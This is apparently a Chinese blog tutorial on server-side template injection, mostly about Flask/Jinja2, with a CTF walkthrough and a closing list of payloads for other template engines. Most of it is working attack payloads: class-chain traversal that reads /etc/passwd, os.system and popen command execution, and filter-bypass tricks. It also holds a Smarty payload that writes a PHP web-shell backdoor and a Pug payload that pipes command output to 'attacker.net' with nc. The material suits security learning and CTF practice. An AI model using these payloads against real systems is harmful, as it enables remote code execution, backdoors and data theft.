从零开始的ssti学习(已填)
前前言:
本文只是接这个机会来梳理一下ssti的知识点。先说一下,本文目前的重点是Flask的ssti,但是之后会填其他框架的坑。(就不该叫ssti学习,ssti太广了)
涉及知识点:
模板注入
前言:
何为模板注入?
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。
但是模板引擎也拓宽了我们的攻击面。注入到模板中的代码可能会引发RCE或者XSS。
如何快速判断模板框架?
(开局一张图,内容全靠编(不是))
Flask模板注入(重点)
目录:
(2)获取基类的几种方法
(3)获取基本类的子类
(4)利用
(5)读写文件
(6)shell命令执行
(7)绕过姿势
(8)实战(填坑中)
(9)参考(挖坑)
(10)补充
其它模板注入payload
目录:
Flask模板注入
解析:
众所周知ssti要被{{}}包括。接下来的代码均要包括在ssti中。
__class__ 返回类型所属的对象 __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 __base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表 __init__ 类的初始化方法 __globals__ 对包含函数全局变量的字典的引用
__builtins__ builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块
[].__class__.__base__ ''.__class__.__mro__[2] ().__class__.__base__ {}.__class__.__base__ request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用 或者 [].__class__.__bases__[0] //其他的类似
>>> [].__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
ssti的主要目的就是从这么多的子类中找出可以利用的类(一般是指读写文件的类)加以利用。
那么我们可以利用的类有哪些呢?
我们可以利用的方法有<type 'file'>等。(甚至file一般是第40号)
>>> ().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
可以从上面的例子中看到我们用file读取了 /etc/passwd ,但是如果想要读取目录怎么办?
那么我们可以寻找万能的os模块。
写脚本遍历。
#!/usr/bin/env python # encoding: utf-8 num = 0
for item in ''.__class__.__mro__[2].__subclasses__(): try: if 'os' in item.__init__.__globals__: print num,item num+=1 except: print '-' num+=1
得到结果。
直接调用就好了。可以直接调用system函数,有了shell其他的问题不就解决了吗?
>>> ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
当然,某些情况下system函数会被过滤。这时候也可以采用os模块的listdir函数来读取目录。(可以配合file来实现任意文件读取)
>>> ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.') #读取本级目录
另外在某些不得已的情况下可以使用以下方式来读取文件。(没见过这种情况)。
方法一:
>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #把 read() 改为 write() 就是写文件
方法二:
存在的子模块可以通过 .index()方式来查询
>>> ''.__class__.__mro__[2].__subclasses__().index(file) 40
用file模块来查询。
>>> [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
其他的方式我还不怎么会,就不多说了。之后可能会补。
本人有点菜,就直接搬运大佬的方法了。
方法一: eval函数进行命令执行
>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
方法二: 利用 warnings.catch_warnings 进行命令执行
>>> {}.__class__.__base__.__subclasses__().index(warnings.catch_warnings) 59
查看 linecache 的位置
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache') 25
找os模块。
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os') 12
查找system
方法的位置(在这里使用os.open().read()
可以实现一样的效果,步骤一样,不再复述)
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system') 144
调用system方法。(不包含system,可以绕过过滤system的情况)
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami') root 0
方法三:利用commands进行命令执行
>>> {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
>>> {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
>>> {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('ls').read()
(1)绕过中括号
pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。绕过姿势:
>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过。
(2)绕过引号
request.args
是flask中的一个属性,为返回请求的参数,这里把path
当作变量名,将后面的路径传值进来,进而绕过了引号的过滤,绕过姿势:
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
(3)过滤双下划线
同样可以使用 request.args 来绕过。绕过姿势:
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
将其中的 request.args 换成 request.values 则可以利用post方式传参
GET: {{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }} POST: class=__class__&mro=__mro__&subclasses=__subclasses__
(4)过滤关键字
__getattribute__
使用实例访问属性时,调用该方法
方法一: base64编码绕过
若 __class__ 被过滤,绕过姿势:
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]('/etc/passwd').read()}}
方法二: 字符串拼接绕过
同是 __class__ 被过滤,绕过姿势:
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]('/etc/passwd').read()}}
{{request.__class__}} {{request|attr(["__cl","as","s__"]|join)}} {{request["__cl"+"as"+"s__"]}}
以上几种的作用是一样的,都是字符串拼接。(参考 GYCTF FlaskApp )
这里拿 xctf 中的 Web_python_template_injection 做例子
进入题目界面可以看到
尝试模板注入 ?{{7*7}}
有回显。尝试模板注入。
构造payload: ?{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
读目录发现了fl4g。直接用file读取。构造payload: ?{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}
拿到了flag。
本来以为没什么,但是看到了别人的wp?
可以直接注入代码?
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} //遍历基类 找到eval函数 {% if 'eval' in b.keys() %} //找到了 {{ b['eval']('__import__("os").popen("cat fl4g").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
我吐了,之后研究一下吧。
时隔半年回来填坑,之前主要是没有做过flask的开发,只要你做一下flask的开发,这种方法你马上就会明白。甚至在SSTI中,这还是一种可以直接使用的POC。
为什么说之前的东西没有办法直接用作 POC 呢?
因为你会发现,随着 Python 的版本不同,一般来说可利用类的位置也是不同的。所以每一回都要找可利用类的位置。但是这个不需要我们自己来找,他会自己找到位置。
想了一下,贴一个找可利用类的脚本吧。(不过这个脚本好像有点问题,会默认少一,懒得改了,自己知道就行了,我就是条带懒狗)
import sys array = [] def find_class(line,s,c): if line.find(b'class') > 0: start = line.find(b'<class',s) #print(start) end = line.find(b'>',start) string = line[start+8:end-1] #print(string) array.append(string) if line.find(b'class',end+1) > 0: find_class(line,end,c) def create_array(): sys.setrecursionlimit(1000000) with open('C:/Users/Acer/Desktop/flag.txt','rb') as f: a = 1 lines = f.readlines() for line in lines: #print(line) find_class(line,0,b'warnings.catch_warnings') #print(a) def search_class(funcs,fun): i = 0 for func in funcs: if fun in func: print(i) else: i = i + 1 create_array() search_class(array,b'warnings.catch_warnings') #warnings.catch_warnings
0x0a 补充:
偶尔看到了合天的一篇文章,感兴趣的师傅可以去看一看。
我最经常使用的 format 居然是有安全漏洞的?
>>> print("{0.__class__}".format('a')) <class 'str'>
以上代码贴出来师傅们都懂了吧。下面的过程继续挖坑。
其它各个框架的一般RCE(挖坑,先给payload,原理之后讲)
payload: 命令执行
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") } uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)
payload:命令执行
#set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end //输出 tomcat7
payload:创建后门
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
payload:命令执行
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}返回结果: uid=1000(k) gid=1000(k) groups=1000(k),10(wheel)
payload:命令执行
- var x = root.process - x = x.mainModule.require - x = x('child_process') = x.exec('id | nc attacker.net 80')
。。本来是回来填坑的。。怎么又挖了这么多?哭了。